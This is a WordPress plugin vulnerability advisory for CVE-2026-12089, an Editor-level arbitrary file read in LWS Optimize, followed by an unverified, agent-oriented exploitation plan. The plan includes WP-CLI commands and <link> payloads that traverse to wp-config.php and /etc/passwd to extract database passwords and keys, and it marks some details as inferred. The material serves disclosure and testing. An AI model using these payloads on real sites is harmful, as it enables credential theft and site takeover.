CVE-2026-12089

WS Optimize – All-in-One Speed Booster & Cache Tools <= 3.3.19 - Authenticated (Editor+) Arbitrary File Read

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
3.3.20
Patched in
1d
Time to patch

Description

The LWS Optimize – All-in-One Speed Booster & Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting <link rel="stylesheet" href="..."> values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.3.19
PublishedJune 12, 2026
Last updatedJune 13, 2026
Affected pluginlws-optimize

What Changed in the Fix

Changes introduced in v3.3.20

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps required to exploit **CVE-2026-12089**, an Arbitrary File Read vulnerability in the **LWS Optimize** WordPress plugin. ## 1. Vulnerability Summary The **LWS Optimize** plugin (versions <= 3.3.19) features a "Combine CSS" functionality designed to redu…

Show full research plan

This research plan outlines the technical steps required to exploit CVE-2026-12089, an Arbitrary File Read vulnerability in the LWS Optimize WordPress plugin.

1. Vulnerability Summary

The LWS Optimize plugin (versions <= 3.3.19) features a "Combine CSS" functionality designed to reduce HTTP requests by merging multiple stylesheets into a single cached file. The vulnerability exists in the combine_current_css() function (within Classes/Front/LwsOptimizeCSSManager.php).

The function parses the HTML of a page, identifies <link rel="stylesheet"> tags, and extracts their href attributes. It then attempts to convert URLs belonging to the same site into absolute filesystem paths by replacing the site URL with the ABSPATH constant. Crucially, the plugin fails to:

  1. Validate that the resulting path remains within the intended directory (Path Traversal).
  2. Verify that the file being read has a .css extension.

As a result, an authenticated user with Editor privileges (who can inject HTML into posts) can force the plugin to read sensitive files (like wp-config.php) and include their contents in a publicly accessible cached CSS file.

2. Attack Vector Analysis

  • Endpoint: Any frontend post or page where the attacker can inject HTML.
  • Mechanism: Output Buffer processing via LwsOptimizeFileCache::callback.
  • Privilege Level: Authenticated (Editor or higher). Editors are required because they possess the unfiltered_html capability by default, allowing the injection of <link> tags.
  • Precondition: The "Combine CSS" option must be enabled in the plugin settings.

3. Code Flow

  1. Initialization: LwsOptimizeFileCache::lwsop_launch_cache() initiates output buffering with ob_start([$this, "callback"]).
  2. Capture: When the page finishes rendering, LwsOptimizeFileCache::callback($buffer) is called.
  3. Processing: The callback instantiates Lws\Classes\Front\LwsOptimizeCSSManager and calls combine_css_update().
  4. Extraction: combine_css_update() uses regex /(<link\s*[^>]*+>|<style\s*.*?<\/style>)/xs to find link tags and extracts the href attribute.
  5. Traversal Sink: combine_current_css($current_links) (vulnerable function) processes the URLs:
    • It identifies URLs matching get_site_url().
    • It converts them to paths: $path = str_replace(get_site_url(), ABSPATH, $url); (inferred logic based on LwsOptimizeJSManager.php and CVE description).
    • It uses file_get_contents($path) or Minify\CSS::add($path) to read the file content.
  6. Exposure: The content is written to a new file in wp-content/cache/lwsoptimize/cache-css/. The URL to this file is injected back into the page HTML.

4. Nonce Acquisition Strategy

While the file read is triggered on the frontend (no nonce required for rendering), the attacker may first need to enable the "Combine CSS" setting if it is disabled.

  1. Identify Shortcode: To ensure the plugin's admin scripts are loaded, the agent should check the admin dashboard.
  2. Enable Setting: The AJAX action is lws_optimize_checkboxes_action (found in LwsOptimizeManageAdmin.php).
  3. Acquire Nonce:
    • Navigate to the plugin configuration page: /wp-admin/admin.php?page=lws-op-config (inferred slug).
    • Use browser_eval to extract the nonce from the localized script variable.
    • JavaScript Variable: lws_op_obj or lws_optimize_admin (inferred from plugin naming conventions).
    • Command: browser_eval("window.lws_op_obj?.nonce") (Verify the exact variable name in the page source if this fails).

5. Exploitation Strategy

Step 1: Enable Necessary Settings

If not already enabled, use the http_request tool to enable CSS combination.

  • Action: lws_optimize_checkboxes_action
  • Parameters: action=lws_optimize_checkboxes_action&id=css_optimize&sub_id=combine&state=true&nonce=[NONCE]

Step 2: Inject Payload

Create a new post containing a crafted <link> tag pointing to wp-config.php via path traversal.

  • Tool: wp_cli
  • Command: wp post create --post_type=post --post_status=publish --post_title="CSS Test" --post_content='<link rel="stylesheet" href="http://[TARGET_DOMAIN]/wp-content/../../../wp-config.php" media="all">'
  • Note: The number of ../ segments should be sufficient to reach the root from the wp-content directory.

Step 3: Trigger the Read

Visit the newly created post to trigger the output buffer processing.

  • Tool: http_request (GET) to the post URL.

Step 4: Retrieve the File Content

The plugin will replace the injected <link> with a new one pointing to the combined cache.

  1. Inspect the response HTML from Step 3.
  2. Find the tag: <link rel='stylesheet' href='.../wp-content/cache/lwsoptimize/cache-css/[HASH].css' ...>
  3. Request that .css URL using http_request.
  4. The content of wp-config.php will be inside this CSS file.

6. Test Data Setup

  1. Plugin Installation: Ensure lws-optimize is active.
  2. User Creation: Create a user with the 'editor' role.
    • wp user create attacker attacker@example.com --role=editor --user_pass=password
  3. Configuration: Verify the cache directory exists and is writable: wp-content/cache/lwsoptimize/.

7. Expected Results

  • The HTTP response for the post frontend will contain a link to a generated CSS file in the cache-css directory.
  • The generated CSS file will contain the raw PHP code (including DB_PASSWORD and AUTH_KEY values) from the site's wp-config.php.

8. Verification Steps

  1. Check Cache Generation: Verify the file was created on disk via WP-CLI:
    • ls -la wp-content/cache/lwsoptimize/cache-css/
  2. Compare Content: Use WP-CLI to read the actual wp-config.php and compare it with the content retrieved from the CSS cache to confirm a perfect match.

9. Alternative Approaches

If the plugin filters wp-config.php specifically, attempt to read /etc/passwd:

  • Payload: <link rel="stylesheet" href="http://[TARGET_DOMAIN]/wp-content/../../../../../../etc/passwd" media="all">

If the Editor role lacks unfiltered_html (e.g., on a Multisite install), attempt the exploit as an Administrator. The vulnerability severity remains high as it allows for information disclosure that can lead to full site takeover via database access.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.